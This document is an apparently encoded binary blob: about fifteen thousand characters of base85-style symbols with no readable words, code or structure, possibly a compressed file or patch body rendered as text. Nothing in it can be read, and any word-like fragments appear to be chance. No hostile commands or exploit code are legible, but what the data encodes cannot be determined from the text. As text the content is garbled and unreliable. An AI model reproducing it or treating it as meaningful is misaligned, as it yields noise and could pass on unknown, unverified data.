zc!v;ThyXf!>V4jjbDBHitZ_rATX@fsoIY%q_Aq3s7P4SMmgp_p>weAo54y{mPrj6OZmhJNg>L4_90_Kz) zaARNNKS5!iDOrR#pNqm^w$DdFky!}~fyzhPZJNjewAL)grw?DxNQ^O0l9L9i=gwU; z%Jj&sq0dD@!$jjV4(Tz%d~@d>>36VP-NqsFb;(e@WNz#dbD!KAwR2?>IZHRLVP*b9 zK3k684!!XB)O+S{2Z3e$c*KN0VEgNd^H$|i8EyRlox)scrAc&?=nNVCXTRBC!II3w z*Eh_|t#m0s`Z4^!%tu$l73ze9L@geUUUOUqmT`ThSzrS&bL7UD!%mak66vQ7B(K$- zdR;{;k*3(B3>c9&qTzUTW0!g0Tq$sjt>>a29OZ|ui`V@D*>=cUbnlDT{gJ}G@jBBH zuX~plSG%|Qx}klo+x(gbz=^qam=2ZZSFMNn=1p=V?lTek9Q5GE7vOcEfPtbocmsyp zeCY4Y4IqmwRVKkr63amTMr9#dEwh9o_|GGrIJ5l8Y;c>G$pUHmHtU7T$FJ5FWC4={ zHJNw4tCqT%0^UdOkA_77LcIv+@!cFA-LYz7rF;lV)-f)eEogSj+mplW@=DG@Rq8Z1 zJt)bX?J>oTjzrX?Oj*GzuwLL8^sVe|HEuEts+p+3KIv06McI5H2w)k>fg~f%k(AZr zr#rSyCQ)_1(#u?1aXGD3`j_xiipf$?A%3K36;XQX3=R4RjqsM1S;U^PaJ0Ire$iKZ zVpqnO7U#qwhTnUhOc(Ki?8QFa@Rv*ROJ%bRY(7SJ%At^{i`p#V)Epk=y9tri_GAf zxB4<^TJ*HkSn~`jjV~!@%bq!o+q7P;sEu!&DmgB}B}fq)!nu2HbD%&T=9ZcjI52F# zyLr~I`=?kTv3CX>XZBN+hg@?%sfX{4*dc&2X3F4xix8=UnXvqFZ+mnT20@!Zu7JF=1SnB ze5DbEoLktFo8Hshx@7r^=<4MT#ZlrGd+l2Qj2_-@jEwER41sJ;pA+$3n6Z z{>bCsKt@N%xf4KU&zD3Gn#wTWYRviwb!}I`i170Fw#G9RDHISN$7Ra^`WCs<+j=j7 z*9pDeDqxJ2UNqiN*~k9sgIfGIByoN#K_muW5!-77_E}AAA)N0m65Gx5{jhver&q)i9XZaIT^?;P4oe}32&R+phN+Gw5HjusNDw?5aG0d6} z3t^E@G}b{YLCGjq`Ox-d0Mx2)ejI#GhOSIVVc%S)xV&;eB|CDzg`PaZ~+ftjCd9R)& zU1njvr@I}=9^cFfKK_xIcx&8W%!lRq>><+XeU_Efr!_LVRk~>B5_kZXAFFeaGBe)% z>C}lA1>S$p66>(TQGY}2opTlJLC_i!>~BB6;b{KA*^COlp5Q0ALeuWeM_vr4*Hq)a zdupLl#JL^%w66_|m&zT`o}4Bd$FCS2PB_@N!O0nVexRjxG^aad^NtMbr{(dkftP_6 z9b!D0*N||xuQl>0TazR2MFpyG=tTow`4Yc^Ohw5L?o+(u|rSmhj z+7+tD_0#apJ6d$N4cf}xZr5*Dtsd9cnAHm@^7Y>pR0ZR+*n8YnpFVe z`t5br^@pw2^`|{@{bXfgm395rI_vsCt9AWJ4_Ah_psTOmESJz~)4Et~h%Z6bMv^)W zc(W&B><_i2TvLq)f4Ek$(JTJ++tTR!@*HI2ZsmO=?K{%EgK731X}-ZU`;N4_!8H5s zj&R;80Tv!97oOHxPjca@)p}Bw+p~JMe!9}JbzpIO!&)eCG`$W$uLDA_146F@{|dbh z*z`JJ)9ZjuuLJ)%y`DHGy_O$1nqHFTwJ0)3FG)L+UXpegy_O#sPA_>HqL(}krx)T> zkxZn+5Wfj45<7esobBLaC2;l{V)hv?*)m>k&+a3`DmX^_`ZxHsI9r3WJ;OO$GTe2i zlBa5EQztL1C3H{$2JW15ejD{3WMon&j|MaU=lY9(Kt zcaW?H^|Hxd`#7>b2CV{~<|5P|eY?d%Y~ zv%na9Y2h(GYmTlZ5g%J%Ot~a_$yQE^S5iEhCx1-r5rHW4s#a>N06EcdL;RrT?_RRz zjFCCKPtD|0?n>$Df_H=8kREjQogZ-h=6Nlif z$>I!?i}2oyV7inWP#6W&`zeB3ZhkpGchOEutK`7ws15WF8C$>=s8sQ?N~WCQ7PXfu+PXW7g{L=O~wYM z-PIsvnit6?tg8Sa2O6G1?8Byq0M}{$5^%I-bcbvF{}QnU{_G6THIc>g#W&T50>>yA zCuQlreDjaMiWiI&30h$HN;s^DaCzk!p zW{Ky*H&H+NWbs`2jDR~w@VC~A>#sN&V1YzVHhQlezs`~lW^}iLU`{!rc=a-O&WfA_ zzm~Jcq6A3vN_*rwpR0v~tUAKDSA^@YW<&H9?&-;#vC^ylfZ;Ec(-OHaXEkcawEDs^ zA?IGb`jv$kk}RioE;MD)Zmd5UO0&MTqs9n$Y^+%YOZ~(AezWD5P<}QR9UIZvmvGKb zqc^_PgZbM{0KV4ru%J}Wv8c&QR$MD&_?o+-KkVEMPqG+tNrm$P1 zx8YC6x90hr+K=B}#N2twwenj>QB ziH&mtsjuI;DteK>e}pG`u5P%xet~EKc^naEepOjNTGIuTQPC}D$_=|)jLy_N?CR)A zAtO=>KWI(rNI_ZIl%QyqT2q$+F)KPPWXvW5c>Y6}IkWT``F~h@6Zj~rtMNZ8ge5+M z8VO=FN~qBYMq+E?fXqk&GcuznqCrup(TGbe!VI7YBupY19!6=aZ+Gj`MXRscMG4d; z0RmwU;1a}ETx#z)E-WnsT;~5h_jzVAfoR*``{(l^bDz84bI(2J+;h)8w`M$ttJ~BU z2k?3oT6A)b(fG8aS6pH=JT3wA1pE-?s4X8eq;Q|8NH6Y+Mfm~4TXSQ+`i;0Yi44rd zfrz=?e1{GMFZ5O{EVdm)N-HKM$a}I>Bb`+BQkB`E&%n2-5DmwiQYLVlSoquwRt!>p zsh5p)4creeBoIe~zC29Q8B2xEweCXeko&FV0`|{L9PoDf2J( zLKO=J2K!Yk$TA{c{griJKXcqb8v({;rDDJaIVZC)py&=81H@aZp1rdrU}3b-38>MnE`R-)^e+P4u185g3@7@P+H~mQ& zz_Y2ve$ZX4djJ=H!vKn905S&_zY#weSmLHwbj1ngU`YCrU#Q4m{-QB#8qdvqJ3>_FHrLK)<=oXEqc) zPXdPm%a#|RrGWCi-o$lgys?Q>N{^@~U80!eqf}hFT1sLybg$ISNKEH*{j&P%Pxg%x(xlvb1>v zQ}nWktukTe|2|0w!%`p0;F)4&AD&Xj4Gs<5@BIX2B(9~_!$^6?@~hA! zIVT9EBv9`Z-LTQPk(xpa^0SP_R|)ajQQ||Vs!U*KH4{8tnh55nR6lQkRdvHlQq_f4)p({E zt%?a#Nx3?MfOuap z84aRmcjNhxnyGLZm2{bv%N&>u*?xq{ovt-&+R2}Sx|wb391%QhGEzNsBGX>Ux)42`*fT~{$krRk;H;i;KG zE!rZDdv2T6FVE1}r|)F>BK{_Qd+H7GG`W@-}GU(Wwh zO2`0NFIfJoGxor^$AlIS`kP?`ZuN>2B0TI62wKcGSSOaN(HVY{R z^Jk56!hI{&F*r`xqV_#cRQ)=kDBaZb`Wx2%k#nZa>JgcHCR?3(l3;$`sP92>_6a5*;{MDT3zw`D!n}8(ex1&X(9%ekJ*l$*~KFWS@3jTzaahoCw6uE+fLaO_I%Z^xqx$>vi;*ktn&f~uN+*ktogp>-bl z7P2{32a;rSX0h7w*Z+iKHc2fRR;`+19{SX#n4b_xrI`OZt(#)*F0d%(c|tKWZHhS` zZ@xK9HwR&Fr~!`d@!gxGnzN3jn$sm|;XZV)7fVv3R@q0U?9$s<%e;lK69@)teEAg$?;`!k;2ar-)pKWM^i{B zu24sJd^?2}Z?42K?9F5;RA-(H>Or@pf0fRgi|!0ejn2@-QhF&o2Iofek-&sdvMN(( zr6!EfN`W#%6I!WBB&Ic0?b?`C(@A|NK>hWQAi}~rzufTQUfD#pAeNdL9e;rse4(V0}cE!e=P`T+~QUVpaK}sz&C|_0x@g+ z=%CV+*wI)d5U%8(B_!~Zr-c%&6H3$z3H-UtI80K zeePS_N|$k68x(gupI#>#!A^C$v{_N@2uyd^U!sj^(hwSt_;X%gz-yySA zPh`sPq#a>1RU*y!-%*>GFjmw%va(mEtn9;cevBaWPNli!T>+Un%%vTbs8HM8>qj6CrM@Q_y&eMq0+hVu(8BoNk<vB~l)9hcNq8%DRRtSRB zr693lI2*3{V@q!vx;aFqt4spw8~p z^TGsnL4ldm7Mgw@p|x2(D{I+~FmJHp#Fi}-gE^ia_oO%sDCCVg(Ik9? z*+|9IETci>KTplwS?ZD31O)BA%xy-)9wO0M8lIYYS*no)=tUpVg>E(vmQO|DE3($1 zzIB2AhpN&XmTHy!gVa>XOZ_zySnm5oLwL}RLu*_mT4Ub53{0$;o<-*KddVztK5}}w zxb4dXi^e0Q#5Mq}xMKjA0{~+?kIyV|{|x}g zSODxpZ*l@>YY0j>Jup;*P{N!J2n@3uCIHg^0*JQW>o^#)^W>HMgzSd}XfEtB884Z~2rG;K9Y9az@hQkNRQ5d+PVsP*xB-uh<834!C z9Cln6I8*^X@%cn~RC5bWWs%)@Pen z6vxgMAN8vnr{87|Bg} zctOH*q!{=%xY&}jGry`!~Y4Gb4VLw&Jb%?9VWA*XTeA*)p`MbP5EX=?Tt zyFRVth5Lv&Z_{Ga>u5fdF#x1Imna!(CHEL@tgImFKd4o1!d5!ljYvPqZ%!5H84b^pZYvtU2c$D+-&()G!pR%CG*?d zO2C}N>c0v}9jQ+Jbd$8YSL3X&VsUlgv<=pI4eKgR{Z8li%<_bn>rT3xwH>A~6JL=> zO*&CJ(1Yq^36$E zW=<^E7rC6z@%iR8SthO`&+v)!Qa~p%Q?a~r=Ss9ErUsMb;T<--TT~y0gT^H|s{Rsv zm*HHV)5^ky<@n@b#=OD2yH~7+(>7b-{#H+(V1uJpqjZ(4B-6~2lQN92+*Y~@1A$YzL=g`7y*_|m?_!kn-k`PIf~5Y zgmOZAb+OIr?p&s|gX0U07#nl|#CSylNyM-?uUd$-;4_uf=kZnCS{)byZpcXV?3%iW z;D)crl|T%RXdujLsUrn3xRSIG>+)&qW?{u;U3t{oXG=Y)Or4jFr+zCbc3%>G&ZPlC zA9W@Hh_MVN?3pjvBtQV0q%Yi3vF7j{re0>u_06dC8pZ*lj6r@7EG#NC%6JK$qjOO zqHgYY<;1qE#TO|ET@;T)=`}%eb0@7eLF~nlkMkXFjq{`%kABFd%tLF^17~+r*CDoO zFeFtpV25{_-ZLIrlMy(>p!W0TcT_aGklTDxHIZ1b}w5~RO-hBpYk~Y z=V(XJ;jQWCjkwuHy13@*DP21n$>vWC(p!`6ja;d>m!xs5!!7Ze{*o=af@F%8rr0X= z7=W*&oy)l%%lIgBjkG6KP<3#cwpTJIVYI5fYaCxrY@DQo7}3+8Z)~Gy-g5h06Q7B1 zgid#;Fil^gaW{+D?>5t&t-%}I`u5#5m{JwGOIqae9pvTGVsC}JIGDR3Qx=Mqv&_nQ zp4;@2vpsYqV_u;*bWdqoaENkqQnbP4lFV8fu*zxU8!Qp9c$4L#eY9fZ*5x-_RSlHL z#8FN#M`cksJb%83_{r<4;=0VChMKg(kc_b75lh&=`4qX*9 z3OQ4qfW{0<$R|;H#9gIwX3`Lop*X)V9(a#{#5`~^9d<5ar!jzluja7&>pGCW=JK4& zB3b*)(dokK)W(#!(0%Es=uT5Fq{Mk@rln`8CnP3wtsXK{z5HgXoEBNGXu0 zWL8R?RmqLrmAIP)^qRo5tKTD(%EGQCJ;qk)*Y-}~&qZ|%MW_xsuse&2g}>0}qUb?A&@Bh{0K&XFQ(pLs~M4IYPg-c)Z87Vmy&V4&h;(>~UJr9WzN{s^!)% zA;bnT-UL6_Az(z7>x$GYj@njqm$5c}A~k49i1vS?ClT8nef?4F_JB;RLY>Jc3&n8E!5M^w0!A@?!<@gN=usJqRb;cem;yKp^p)(hiqT6(Krbsf zeq|7n8BbPvE24f%H%&SCs3KI-nYOziTL3PRl+s%Mlw;nfS_FlPJ4N zP+#5B&qDgUTS5AK!S9&}N|hSh^^R9~peOo-sHj`f*x0E4B0+t}*4q1sp6@R|WU&|j z*^(gY*9rQjNVoY)R3hC5Rv+b%`cTjGZ;@)c$*{OP47! zIsHSq9@Vy+FEK2hZY?`hG0J%0K|a*579e4Ec+IL(U(Jkx-q5-%U*>yiV0Sd4A?Jb@ z_Q&1LqN_bMyhD;zCkRrl{_(14aK(dGm$xRX$dlQnT8NUfy=u|M)cCW=yh7G+X1m() zkq8pO6WsA_(hAiremR!OQ>pRwPTZd?zgy-6q@Cnm2Bhv3R0yEFV1UVq;NAGC);U9R zybc+!^@ba7V54k3XVE0Q%9Kk#YOX*Ny51tCL)Gx^D2tMwED<(2#sjS@OZ#X0LZYH)F?(k(NyKzXxb8La3AU$t%9mxz{hOZ(l!o`#&ELrklc|9XM=86AC z2J(gnQSoV7W?v((dd2smYxQc+=S()YjlJA?_nB{d!`J8g!xIakPma_xJdM@v9M`B% zszx31hR5ZU#r@{H_!^QOd1MxY{i>p3(YPwJ#sRAcVn@8s^+LMa`DL(=5C1$brn?$G z31n9_915N)godfytaix8VuRDUu&-X|vGuZ@;XFp(8V?lZ7>-P15C_;3Ay{Ic*HBak zeqtPtq-iClOQOsKu4%lE9*CihT0O8Na6A9KN6>}C_ws>R}^f$iCORvsj&if=`{r8)DXvSk%2f2 z4vpcdpxhv_;(SWqTd-~!fEdYtDfe?kq7t^1U&&H;csI0aEpU#NwO0FZAe_8!1*)+> z%>G|)QnHRl&SI$CDj9Z*C;3WbSU8x+>2b{N!{3~_eOIwZOWS%*(tf^M583UDs}O_D z$e8IR(3#LSK|wEW$IOqsW zY6f_ne={0!aFQ0g!*9NHxaC5*oPzMhrVjQK&wFGlT2=e}WG%5vMRgx^z76sqS*}Mm_y~?p*r2v_ZG+3AJT;ogYVU1^L+vk@|zw zRI2L7;)v(%L8Z;vqz-Q&OgF>}bGvuxay`^ofB(`y>kybBR8mM}wV=(69xH)~Na}ky zWP1k9C9anu**_=17=FQzG6jXH-=H-qEDw}rf**B~Q zk?JG44oY$hd{PRX38!`gq<3x+m4oOIFXcaD;BRVXYbY zo3g&-ZW3z@Q47&c)|d;jj!sQ2`2tMoP*3wCcL3m}@SGFf%>p%bi^PVKH~apR`bJsx zUEi~$+*j&u|CmW%pbF=#N8d>nc_c+d3zv|1l$iJa&8MUF$M;KN6BI91K zZEOv)P!mNd)%+nXxVgr(%0c$kGy3rLmr}asZr(?j7s~3~hu34y7B?Ed%e2cCsZ5;?k9bvsoMJ*Pj}O4dXdNTM5mu}kJk z>QOt@s-z`4%}U;FERnk-t7g$NDQqRTMp^WHQ&^5Jn)m6{&N;bMJwgT%Es#RB{dFN@ ziEM=HLzt-Emu1)pDArV>fljzL?1QVt3r* ziMYqR;~rQw=>)s9Yz(Y+j3oiUXyu+gKM^OEW)aVLTAF=xBF;zLDwjjoF#GaE>~|z~ z?_evoJP}(+EFf6r$S0wswKmk%Z{E;oe`1?YWkxl?zJT(D+U58%SOl6x+^PlhLKL@s@@)=iet z;H-Yj5QmL;5pMm8H2h!JVw`btZN;F#x7CC2DjU(aP@SNeg

A#>ydVv8b+ZGvgHW zms%)Zwv+C-4Xzbj~lh$Y<)0%57v@({6?#D_8KiuF4h$m;e zcHEXkTz+?4b0RLQJMPzsIN7AxWmhy?xJ8X`C1Y6=%vmD$nw0n(Q{sQ05|43CyxGDt zYFd$!a$d5;?E9=XjV1Xy4m|6eJu?xPB{f)h);asCMC_+vOS6S%owG+LVmpZi&mvcT ztF~l~#vMwV`NCr>%Q=`p1YiSS7<%+cSTPT7T%lcV zu{G%H38&-wsD2yvX3rB9oEgK?ER?Q(n7jCp^MYp%c7c9y#=4@K!&g(nA;Zu+W}gC4WIfc ztifkGIcYau91Dj^$0M1UX}nmDWsW$AgnwshMuq;cKyMF%@4%$mOcmOi;i`+npHyVR z>rZ|eWMVR1%cLAdlB`EW;mCxJ(f#K2a~ZE}2(@&?hD9d)YV?rA_fxTxA`@Qi{@$p! zE8T?bN~#qFy$1ur0Z_0f-wB-GgMNu;c_gHL4Lbwpmk$b*sGW4v9=*J=8yn(URsqSP zeC9DE%U`pN=Qtp+-oyL3EzC10kt;gtj#z!&9%}8;SH64nm2c^*UNKyVWg(0RZO!pI z_puiG;u+Yvb8g?z)~r}R!p3v^J(&km0Tg?fFAtAyhckIcI*{ioF9-DpcX$12P}6m& z4b-pWSOsmH^H|iMm_U8bng#V=0Msah%&qE+L;4}>d(;MI*TQeAN@oYn{w8(@;f%mY zUF|p4*)2E4ru`?mS#$Dlacrb+A=7jCZ^>e*>&bd$gY|@$*Btwf{tVe^%#@wREJRP2 zC}Zq*9YytGJ#4ey&C^OEDBrCYWVYeRKuJ2L{w_ut%rzX@7f#Zz#P^9^u6A4nFv2JS zP>wYTiPip`o0@d!3O4xd>Y6D6FRT`?b*M#F*sPZ&|0J5hP#;$^8IviF>#L9OsoGgjrGV)Efe0HHGkNe zSTXiJ>5KZY#IErR!eR=Sr~Y&X<`-7hKE}$^<`4T@QYF_@L&Tn#=blB*E)+SxScnxU z(ck@tbWtYo{;67PiN^AlvYdzI&bdnVfjcTAt{i9oKuNp>8;4NWh}j1s?oUEpgXZ;V zmTmLe`qoP3vsnb*(2*0|#`u=CZnLsgo>ECUN8#k-9f3CTD~__V@9?1<;HG{{QMg>K zmxM^cWa4C(gr=^#kYUcF+A#Kn$x{|RhGO;OlzN6G>(P4=*&C>NDe3Wvb~}YSouf{X zN5m1nBl_bzwE|D%dTT25Tal4xiW~xn`j7XqxKJeAM-}=WVB=mWCg(xs0le!5Xg^$wpFSb5>T)7P-9Ah7lpc&ehXOvHS6?D80==NG;V=o1 z@ojA8<9T-zFOc9_Lbw^Q@yY(042f54#ej>*88V;P6;P>6tk@u5B1O%{9O-+w(W=?{ z3bo|0Na#o7lRzMur>c&vMoc6kiqtqzcgn$Md={En>!a;4(N+-a71y@~pT? zHdxl%x@fC&?-MQaFNy?OSkojeX>OdZ->S_Wb8F(=))f0L=BX4t6}oB^)hMmi+DUYY z5#t`Eu9?*(;R|HQGf+hf!WJg=&+)wXkkkY%TtW^!vfen36n&M?%-iP8K%m4O`6deZ z%JN>}U?%kLSnsY)ta3j{kEQ{@VeY0u7JJrK_4Dp15`&ryXasL%tpNK%?kH~5`W4p4 zMc^at*l&#=pFUWpA5#dbLxqBu_G8Cw=V;H4eOCc5bWWB#$JK**DcueGQgx-T)aco@nbat$mfZ!4xn{BJz?V#>ypYr$g(_L^ap&}$&q8LB zMSk>hq=+&eeG=`J(Qpab#jA+;q^obCsF#{@D?~!W+}G=D2_D2WNM}8XtUlDBP(Y)h z4WTb7NO=rx ztrz8WD~@+I1rOGjN7B+-%mt3Xz4he}5DeT=U(T^ZOJG`kIr&=x{`&GC$nPcfa*O#@_AJKQHAF}l_qPEJ1OgPYwf6Qu|WbVdWO7JoviFe>(M3%;w zRem(4wG}zRG7gePa}ZQtF{uivps0BOaHy?t=Ld&`R>}OGFxL@U)kPpplf1_WK(_PO zR~0icReQO2$|)o^o#86QJG6TVBLY|L<7Pys){a4vJHl13g{wN%6n0jjg&6w6%B_c| zCf%?WG75qxYz%o4@#$K)XIFZlSgWaLkY=us6SCHiaM^>} zigOa8mFJz>Mf4GG=y>nk_lI_bse!a&yOesbwx!?M1y{Sw_uw4eQ3UvKzy>6|y7RkT`qj0l!Z zzIe+rqwdJGz(4DboE5yVVNH+*5AhBqZm#Q431%aX@($2WA{of~9V+HPq^Adc)@M#* z6m%L?{aCsX7*D2P4t*Fix?i9IfQ-=N)uUb3*LbB}Exf0DsJthc0u32_d_(jmVMA8! zyr?C$M^7h82EZMQZ>34^kL8}sO0`V2KHi*`@Ku^rfS$o|BJRZIj7e;S_WAfapXaGF z{l;_cPX8&IV+vZ^gp6APPc+9juavNzQWmX|pyc_;{z zR}9Wksp;eSQ&b6?l*sf`!ujg9E>P_A=(kB#8w0W)3r^%Zth-s%F<8;SwrUaRJm$CG zzX>`OE_g|P7<9I){E{GIr@w+s)2YdPUFep$+-kaq9rpsc;+)BeXZM!-M zV%sM%`Rb8>#p8bw)kWDxI#hiVo95er?B$Ux#F$;WdNEY6YgY%+bGt)dr3X(jt6Z{) zE2yAL;p`IrmTipP2DLySUkFv-te&`owY-m&h>vi8x%%R}G7-=K$xY=1Vv9IaD?d++$};S1$wr(2SstIl&XoewtGJEa!(wa9i!F z3h6eRp``Sl)Sn})$~n1B5=zA{%^`CeBCUJbDY2ruqhs_wT%H2u&;eeLvcO$_A%5e% zXd5zH+{+vdJA<8!U8@|_GrB?PWZ+IY@mKa#U~zB1z`IVo%GsEA_;y?-B>qFb^`; zDTHN&ll1;n&cEQ&vXCqguN6Uvv2s6}6FPMm^by$->gr5AK!V5Z77~GE+O9IB%E)3Q zCMX?LL0bNFy46gnEK%#MNX|^~S?$anc>`0Ht$rtq-a3sDS<_1EZ>5>Xq(ySyod$x) z=?0AYuM)=Y6g0Qur&-~x#7m7)QCCNIu{xyhvUlx8=D1n-vRrQv`57r>fch;lJ*NL_ z%N8ffZb-Mw-rj3j(B@9DuLGV5+$ls)zIEI(L%!x=-2RvnE z{xW3$>+uD$Nj3syZz1D)c5Ufox`e@J z62hOK^YhuKS4OIs6>Pw^sfXtZrr@7PO}E-mB(nih1OMiYoc5L1Jj4v+ITb;*uctMdNuOwYt00MkO$vUS4tk!Z(4o;n>s-{}jog!i ze|Gffp}k{E+HwC*w-{ZEXV)e#2f^}sd)@}J>+zPfE+b1{2J9(grv+QSK%BdqdB2ey zi7H6n?kVG`Hh_FD)#WWsq*j)+P~5$&U7!Z+%p4(_Qyp3XC%EqsoM!=uzcQPHBy}>~ z=jfIWQszs)KP|Im$?@AYOtJ^d@Hk>-Ls;h2;^y@^^vPS+DeXokfZSbQ8cRh|B^#H> z$m7FXof+dADPA_;nT_C=$r*g$GcU@Ea2Wz>Ja5(MvcJw=?F5z0J`~h7W6Fd|=F%L0 zSvz^b1M>Qv+u_sBw!riHZ2%BTLHJ^ii$_PvFu(ZvP=26+#4B(k?lC;k4((hGNeB;PI)7f z3q@7njZAd#Tdh`FXQz4(iin;CdBi9O=b{zq!4r|!x8oNAMW08y6n4`Yv1vdomd$RC zEgQSwR78mA>IZMDSW{J;HCHKHbe)1c>n{vf6(i}Y{#Jvo8|3ZW$7Jx~?2E4#yAQ43 z5n2<;{X;c0ij-}Pe)3BwQlg&RSFdB6-yYv*wBqeDJ$MGh>=~jE5^eyqJkHH{ zG5a0TKTP-`;uBR_v@&<&4Eo$8$!2aFVV+rjfuA%Lu;S{as?hMKbleOpE@;Kw!cUs= zNnB|74Eacm8zK9#OOc=>xj%EKr$wJyEc<4G!<%Et%qI8Y7EQ5rTqeB7E-2p(8w02C zC`7R|2z5V)U1TCPk~h(+wUSyjf!;1PLz|`UkgGdqFM39?OFQZ*0ljy7LL2&;|MIkc z2F2S1$@x+qsXSHm&2UAe|Aj-P`nAXy>pjlH!4EA?e#|a3m5o6?c8f3kp>`ep<9QX- z0TaXB6!kdYiM^lL%%<`&HF1mp-UUt277|$$ilwQ)ULY(*##AEdsK-i^N?I{iFnKFR z0EsHE)N~EhptNA{`RK37zbuj8lU)p>u!`8WXZXqBsk87LcuT_Or~czdS)(kfdoN=8 z#S>V<_O-s8;$?fh;fYVexUpR09(=6QJSczO*ZPZPXm@;(dj<-Csv~pK-4$m9PcPdk z$NYuvRaqz@S<+9cnM*~OHyTUGuAh+>?y{#^xQj@r)#~82JSkj9YpcP8G;^zZMJIAe zM0Jv6Y4U$>$L&+=l5ziIRYJb!tvKF`08tm)S@)`+N^}LiGaCLkOPJUvM#Hal-~*%K z=Q@DP%O4W(NK%*p_kGN@P3fM@ZJF!GhStFn&8oy3 zi3pTvyVR{85T{_VU$)0+AUSiebhfI*LV|{GQOX->{E8mdhV$J`H!g0vVX?dEkvbxp zekp$iCuYj!OXL3E^O=C6Up(YRw3`}V$yR^lVd>;*Dd7G~8b6UGmq3r*==r)v)fy8v z*Sf>~{gJCO#x2}v*@+h)iR%{upehtQhr@}pd4dQ-fl?eY2)FZ zn%3H?@Gq)lgqJogFO}w+mKVzp{seTUMSFM_BcuG(;97wMeG-#K2lkSYuw=u1comc6 zo<+cqe{mlEaCo1W*g}cHVx0Fs9NrFzaY@W1V)hcVPhw_xL!Z=9p(N~+S|u`#9J(;o zc}pdxkQiN<>b#RA#zo8wDW$(=c*9k*O!s_uxN5$!(tRJWsk+Z?-ansV;Sl3~86Lk6 zIP~wJJ`z`Gg)gT`#{;F-$M`}?aoH&}?RbF8jT9X;-X$qB?376dBx#nNG=r}}m(OyC z$BXgL{r3?~2gcv$UUvT?$Su2Yc@)c3`aydVvV#>`oTCDtG;_~jkZzxKrG{p zNDr(LH%j|5W?V5vq;;Za;E~BcOOLxzx6H_wHA=fpRf|04gK30B4!z7~tj_hpu|(%c zbiIDnSzV31Pn7hD^;f4Vt?&HA_l4HC)TD}a7@`(t@h#PrYb$#>e*>+FlbXGe`vo`n z(v?OU?Jud4Y?Hzha$=}2I1o{9a?T^yOt$OaZE6F*9=>1Y*ZiAYPJBT^Yh!+oS#J%d zC6KuC6?nMKr%**7ecJFqo)2OL;OSLafVnA37HF!aO}{hwK|oEo&< z?PRi~+T9KyUp)7FB=@kp?XL5z?mD;Q|1cp_ESN38$^EsYT4xbYNh(o4kf`|Z$93kf z+Z%eIJ$i3ARDi5Eha8(B<)tbIq%G*AwY}pU&T?F=HA5~)M2_fakXm5->6QF#JQQTd zvrPrYiBP^TDkoavB}uL_QuksFVDu=J=;T9Pr{GE&>Vxf_(U3zxR4kgGs##ZRR%@v^ z3RUAInd5|IMbDY!IE#DmTwUaCbRsEE#mnIcaRZ3iw5pt9ZIQxYDN>V z8lISF7`ZSlI$Fb)?4i~y_0KD$>3t$?HVh+y5tRBO^EqLy;*AXL%b{2eh8OCzG0e3GsX#db`UOj}_*cm9bXhenx-z?9*$#mb4QZ-Wd zA{iIDc}QuR`%t5tqGtsChqBX=uhPXYR5HtdRPCD_HKml%)tVF8HE#%?AV>B!gFLP8 zWuq`S6|~Wx@ih|T3y(fEI#|YX>V+>LIbm zUh1vxy_CqclSfI8UgX;Mzzr?eiuW#7oNbpbdO8<0q~=IP!Jqu7ea>f9AlwwHBYzVz z1bUd;Ba<`K&)$j0%co%mRV;)uVWJc}6~i4Zw#@@P*{_etKrB0Le(3!S%Vb~@O}WJ8 zpLMA3J|^0l(4(zLYFp`Qoq|Kh^iKY4ujqo2%T6uvwzP7gF zys4tgV<$RrsM`OY&=5iGz+jGgMFGo};O95ViVSkuVZA=~L_y)|u@&c(SZn3(w6$^| z{d8(#eiQ#V`R`=zxSsZB?em1dOGS?o6B_fRpLGsYbrk zdY<$&|F90D;j+H0b!YYfOk9nIhko-nNU5+j+cK#Hmz^`=l5X>5B@P~ZRpwF2%Q=%Wt(7E##B%`NF^zu8%?JsNL zx?CrBOLkqzlW~jq`n+HX9VE8npz-0sT4PV%P5S%%Z(jymG#XB(S4a!DgZOo6!>fP}!&szD|CDj3~TI1?5ZVFPw67jvQ>bzPbmUo}7HI^IT7b}wy z!gKMLI9}R5f6Q0J8cUwkZB5%m;dc*=Go}t~B@{hysWG)^4WTa%7}Z<&-NAnjmUC~r zRku@6Php~Rz4~|RTL+A(R56tz(>@}8FU1P{I;}c4&&orb&WDf6>Vh+^v@eN!oA1s1 z-%hy^KV_8k@x<>-^;18kM~*CdG);QsIF0J7|4KHpPoqi4nCmo9rhY~I2EM!aUCXZm zB-xKRsY>>&o?+QPBuv^a%F(2Zw)%5^l~DRw6u7yll&B;8C)vU4tR%iih`u>K2bfklbH{8XZir6+^i@^zYg zE%^{$a=`fTA3P;jf;l%g%Zd;{!3=?WUcRnq>JBbgzU$f0!oE6fn6v~arsfXNiH?qv z_SPePXqs87euGks&yjtJl~{0!^*j7i&L=5EnoN_P3K?S5imT4P#DYNvm`=XM zBkEg6u|T|rr`@}Ydr0UC=x=J_=(SK8ySzX>KiPxm7*cxl*Jl<)FJp!WaE=lE3`K-a z?WS*}S74KGrEfnzUDotZ$iVdHt+Nfg~>;35gw`OGN#{M9WWZqSBI4V$+y?r4***Bp~~OwA^rppo}x`QT=h2RmjPQ zMQtz8(NB{HpweLUg`@GfU=Cv!>=s((IIR_`P%Ttp>iewt;m=Trw2%4TOFq`mR9Tp^ zthe%;pkcqcNoOnAN*9UFeOUjd(lCpD{ZhwQ=iXwaQ)MDgb-~@;WuRw5!yK>kA0jlh zh5y-STItY^Y8FAY&=5iVqlxr%ovz#IpsU1Jf5CrfjAQu2dKf}erhW)5>~p(xlMygh zp~=(UC6hGB_@II|g>;O$To!Yco<&MM6ChlDt;Swq^&l=7Pi8x3+7 zhwf#6LT%9tsK+>?fi=Z+C+eFlWd;=dLKl_#E+u5wcdL$UHyTf;8@NfnYfbbMkXYYG zGV?Bwj03I)kLoHxI)gOAlk<1pxy-LVv zU?mAwo=8EX;XeAzK(x%^K;|Hv*GaZYGj|FOI0HfPR;xIdiX-=;c#sKN{eVjF*LZ4zV&+Eo+>{N8mbQGYJsoF{-lj z2?kFQIJH=WFZwD|&yug~*>}kSeYghD(f#|&=zgwr{|Dqw%#R?8Gy4_Nm<# zYH5u&6MqbSwfeVyl+}b$Rj`L(?3^Thw9#r)lcJbx6zIKCBj}z>zwWFo97L?YG9M<$6 z;@G|Z==$F!!_|_ZlMHR2%Z7lz$8HEtm8N7va1UG*oR)fxhL_}nb0MmOpFUsxZK-)MM_-2sJv!iQB@^pTu{>rF;pJs;L2Tr1HJUZ8X5-JXp0 zNc8g6)p>2vSl<6gsr|9s2lz!opFm-_#v~+wwu95&TUUQQGJV^T;^?}^ zu1BUP^hMjj>Mi{4;J?W94_{B#UDMub``nScN-Fz&YD?Su)$go(FZxvOPl(Wg#fd;| 